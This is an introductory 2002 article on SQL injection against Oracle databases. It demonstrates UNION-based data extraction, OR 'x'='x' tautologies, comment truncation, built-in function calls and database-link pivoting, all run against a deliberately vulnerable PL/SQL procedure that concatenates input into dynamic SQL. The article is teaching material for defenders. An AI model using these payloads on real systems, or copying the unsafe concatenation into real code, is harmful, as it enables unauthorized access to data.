by Pete Finnigan last updated November 21, 2002 |
SQL injection techniques are an increasingly dangerous threat to the security of information stored upon Oracle Databases. These techniques are being discussed with greater regularity on security mailing lists, forums, and at conferences. There have been many good papers written about SQL Injection and a few about the security of Oracle databases and software but not many that focus on SQL injection and Oracle software. This is the first article in a two-part series that will examine SQL injection attacks against Oracle databases. The objective of this series is to introduce Oracle users to some of the dangers of SQL injection and to suggest some simple ways of protecting against these types of attack. Oracle is a huge product and SQL injection can be applied to many of its modules, languages and APIs, so this paper is intended to be an overview or introduction to the subject. This two-part series is not intended as a detailed treatise of how to SQL inject an Oracle database, nor is it intended as a detailed discussion on the finer points of the technique in general. (Details of SQL injection techniques have been covered admirably in the past for other languages and databases, particularly by Rain Forest Puppy who pioneered the subject. Some of these papers are included in the reference section at the end of this paper.) Rather, I have designed this paper so that as many readers as possible can try out the examples. To achieve this I have used a PL/SQL procedure that uses dynamic SQL to demonstrate the techniques of SQL injection from the ubiquitous SQL*Plus. Prior to commencing our discussion, it may be useful for readers to know that all of the code from this paper is available from the author's Web site at http://www.petefinnigan.com from the scripts menu - SQL and PL/SQL option.. What is SQL Injection SQL Injection is a way to attack the data in a database through a firewall protecting it. It is a method by which the parameters of a Web-based application are modified in order to change the SQL statements that are passed to a database to return data. For example, by adding a single quote (‘) to the parameters, it is possible to cause a second query to be executed with the first. An attack against a database using SQL Injection could be motivated by two primary objectives:
There are many ways to use this technique on an Oracle system. This depends upon the language used or the API. The following are some languages, APIs and tools that can access an Oracle database and be part of a Web-based application.
Any of the above applications, tools, and products could be used as a base from which to SQL inject an Oracle database. A few simple preconditions need to be in place first though. First and foremost amongst these is that dynamic SQL must be used in the application, tool, or product, otherwise SQL Injection is not possible. The final important point not usually mentioned in discussions about SQL injection against any database including Oracle is that SQL injection is not just a Web-based problem. As is implied in the preceding paragraph, any application that allows a user to enter data that may eventually end up being executed as a piece of dynamic SQL can potentially be SQL injected. Of course, Web-based applications present the greatest risk, as anyone with a browser and an Internet connection can potentially access data they should not. While second article of this series will include a much more in-depth discussion of how to protect against SQL injection attacks, there are a couple of brief notes that should be mentioned in this introductory section. Data held in Oracle databases should be protected from employees and others who have network access to applications that maintain that data. Those employees could be malicious or may simply want to read data they are not authorized to read. Readers should keep in mind that most threats to data held within databases come from authorized users. Protecting against SQL Injection on Oracle-based systems is simple in principle and includes two basic stages. These are:
The “Protection” section, which will be included in the second part of this series, will discuss details of how to apply some of these ideas specifically to Oracle-based applications. How Can Oracle be Abused Oracle is like any other database product and, as a result, is vulnerable to SQL injection attacks. While Oracle fairs slightly better than some of the others, the following abuses can be inflicted on an Oracle database:
On the other hand, the following abuses are not possible:
Some Specific Examples Web-based applications constitute the worst threat of SQL injection. These can be written using JSP, ASP, or many of the other languages listed above. Some would argue that SQL injection is only an issue for Web-based applications and at this time this is probably true, as SQL injection is not a particularly well-established threat, especially with Oracle. To illustrate some of the possibilities of SQL injection on Oracle, I have written a simple PL/SQL procedure that displays the phone number of customers from a hypothetical customer table in a database. As stated in the introduction, it is possible to inject into any piece of SQL that is dynamically built at run time where the input data is not filtered or checked, so it is possible to demonstrate SQL injection using PL/SQL and the ubiquitous tool SQL*Plus. The procedure uses native dynamic SQL to pass a run-time piece of SQL to the database. I decided to use PL/SQL and SQL*Plus so that any reader having access to Oracle can try out the samples, as no special tools are required other than to have an Oracle database greater than 8i installed. Using a PL/SQL procedure and dynamic SQL is identical in all respects to Web-based SQL injection except that it is local and not remote, readers should bear this in mind while reading through this paper. Also, because of this approach we do not use any character encoding techniques to pass special characters or metacharacters to the database server from a Web browser. The example table structure used is: SQL> desc customers Name Null? Type ----------------------------------------- -------- ---------------------------- CUSTOMER_FORNAME VARCHAR2(30) CUSTOMER_SURNAME VARCHAR2(30) CUSTOMER_PHONE VARCHAR2(30) CUSTOMER_FAX VARCHAR2(30) CUSTOMER_TYPE NUMBER(10)The table has been loaded with three records as follows: SQL> select * from customers; CUSTOMER_FORNAME CUSTOMER_SURNAME ------------------------------ ------------------------------ CUSTOMER_PHONE CUSTOMER_FAX CUSTOMER_TYPE ------------------------------ ------------------------------ ------------- Fred Clark 999444888 999444889 3 Bill Jones 999555888 999555889 2 Jim Clark 999777888 999777889 1 The sample procedure used is created with the following code. For these tests I have used the default user DBSNMP, who has many privileges that are not necessary for a general user. This user illustrates the problem of Web-based users being limited to least privilege: create or replace procedure get_cust (lv_surname in varchar2) is type cv_typ is ref cursor; cv cv_typ; lv_phone customers.customer_phone%type; lv_stmt varchar2(32767):='select customer_phone '|| 'from customers '|| 'where customer_surname='''|| lv_surname||''''; begin dbms_output.put_line('debug:'||lv_stmt); open cv for lv_stmt; loop fetch cv into lv_phone; exit when cv%notfound; dbms_output.put_line('::'||lv_phone); end loop; close cv; end get_cust; / It is not possible to simply add another statement onto an existing statement built by the procedure for execution as it is with some other databases, such as MS databases. The following illustrates this with our sample procedure: SQL> exec get_cust('x'' select username from all_users where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' select username from all_users where 'x'='x' -933ORA-00933: SQL command not properly ended The procedure expects a surname of a customer and should build a statement of the form: select customer_phone from customers where customer_surname='Jones' As can be seen, it is possible to add extra SQL after the name by escaping out of the SQL statement by using quotes and adding in the extra SQL. The preceding example shows that an Oracle error is returned if we try and send two statements at once to the RDBMS. Statements in Oracle tools and languages are delimited by semicolons (;) so we can try that next: SQL> exec get_cust('x'';select username from all_users where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x';select username from all_users where 'x'='x' -911ORA-00911: invalid character Again this doesn’t work, as another Oracle error code is returned. Adding a semicolon after the first statement will not allow a second statement to be executed, so the only way to get Oracle to execute extra SQL is to either extend the existing SQL> exec get_cust('x'' union select username from all_users where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' union select username from all_users where 'x'='x' ::AURORA$JIS$UTILITY$ ::AURORA$ORB$UNAUTHENTICATED ::CTXSYS ::DBSNMP ::MDSYS ::ORDPLUGINS ::ORDSYS ::OSE$HTTP$ADMIN ::OUTLN ::SYS ::SYSTEM ::TRACESVR The example works! We can also use subqueries to extend an existing select statement. These are less useful, as they cannot alter the existing select list used to add new columns from other tables; however, they can be used to alter which records are returned by the existing query. An example is shown to return all of the records in the table: SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' or exists (select 1 from sys.dual) and 'x'='x' ::999444888 ::999555888 ::999777888 The extra “and ‘x’=’x’” is needed to close the original quote expected in the SQL string in the procedure. The above example returns all of the records in our sample table. This is a simple example and the technique can be used more creatively than in this instance. The next example discusses truncating the rest of a select * from appusers where username=’someuser’ and password=’somecleverpassword’ To truncate this behaviour we can make the SQL return all of the records in the table; this usually allows a login to occur. Usually this will return the administrator record first!! Here is an example of truncation with our sample table of customers. All of the records can be returned by using an “OR ‘x’=’x’” in the SQL> exec get_cust('x'' or ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' or 'x'='x' ::999444888 ::999555888 ::999777888 Next, the procedure has been modified to extend the SQL used so that there is a second part of the create or replace procedure get_cust2 (lv_surname in varchar2) is type cv_typ is ref cursor; cv cv_typ; lv_phone customers.customer_phone%type; lv_stmt varchar2(32767):='select customer_phone '|| 'from customers '|| 'where customer_surname='''|| lv_surname||''' and customer_type=1'; begin dbms_output.put_line('debug:'||lv_stmt); open cv for lv_stmt; loop fetch cv into lv_phone; exit when cv%notfound; dbms_output.put_line('::'||lv_phone); end loop; close cv; exception when others then dbms_output.put_line(sqlcode||sqlerrm); end get_cust2; This is to demonstrate the use of the “- -“ comment characters to truncate the end of a SQL> exec get_cust2('x'' or ''x''=''x'' --'); debug:select customer_phone from customers where customer_surname='x' or 'x'='x' --' and customer_type=1 ::999444888 ::999555888 ::999777888 Running this, we can see that all three records are returned due to the “or” statement. If the comment wasn’t there, we would still include the line “and customer_type=1”. Another example on the same theme allows us to use the All of the above examples show select statements being injected with extra SQL. The same principles also apply to The final piece of the puzzle to talk about is packages, procedures and functions. It is possible to call PL/SQL functions from SQL statements. The rules vary slightly with each version of Oracle and indeed it was not possible to do so until PL/SQL version 2.1, which came with Oracle RDBMS version 7.1. There are literally thousands of built-in functions and procedures provided with the standard packages. These generally start with DBMS or UTL. The headers can be found in $ORACLE_HOME/rdbms/admin or a list of packages procedures or functions can be obtained by querying the database as follows: SQL> col owner for a15 SQL> col object_type for a30 SQL> col object_name for a30 SQL> select owner,object_type,object_name 2 from dba_objects 3 where object_type in('PACKAGE','FUNCTION','PROCEDURE'); OWNER OBJECT_TYPE OBJECT_NAME --------------- ------------------------------ ------------------------------ SYS FUNCTION CLIENT_IP_ADDRESS SYS FUNCTION DATABASE_NAME SYS FUNCTION DBJ_LONG_NAME SYS FUNCTION DBJ_SHORT_NAME SYS PACKAGE DBMSOBJG … CTXSYS PACKAGE DR_DEF CTXSYS PROCEDURE SYNCRN 391 rows selected. Here is an example that calls a built in function supplied with Oracle. The function (SYS.LOGIN_USER) in this case is quite simple and just returns the logged-in user, but it illustrates the principle. SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' union select sys.login_user from sys.dual where 'x'='x' ::DBSNMP The functions or procedures that can be called from SQL are quite limited: the function must not alter the database state or package state if called remotely, and the function cannot alter package variables if it is called in a To SQL inject and use PL/SQL packages, procedure or functions really requires a case of dynamic PL/SQL. If a form or application builds and executes dynamic PL/SQL in the same manner as described above, the same techniques can be used to insert calls to standard PL/SQL packages on any PL/SQL packages or functions that exist in the schema. If any database links exist from the database being attacked to any other database in the organisation, those links can also be utilized in SQL injection attempts. This allows an attack through the firewall to a database that is potentially not even accessible from the Internet! Here is a simple example using our PL/SQL procedure to read the system date from another database on my network. SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' union select to_char(sysdate) from sys.dual@plsq where 'x'='x' ::13-NOV-02 Conclusion This concludes the first instalment in our two-part series on SQL injection and Oracle database software. This article has offered a brief overview of SQL injection, as well as some examples of how this technique may be employed against Oracle software. The next part will cover detecting SQL injection and protecting against SQL injection. Pete Finnigan is a freelance consultant specialising in Oracle and security of Oracle. Pete is currently working in the UK financial sector and has recently completed the new Oracle security step-by-step guide for the SANS institute. Pete has many years of development and administration experience in many languages. Pete is regarded as one of the worlds leading experts on Oracle security.Watch for the forthcoming book The SANS Institute Oracle Security Step-by-step – A survival guide for Oracle security written by Pete Finnigan with consensus achieved by experts from over 53 organizations with over 230 years of Oracle and security experience. Due to be published in the next few weeks by the SANS Institute. |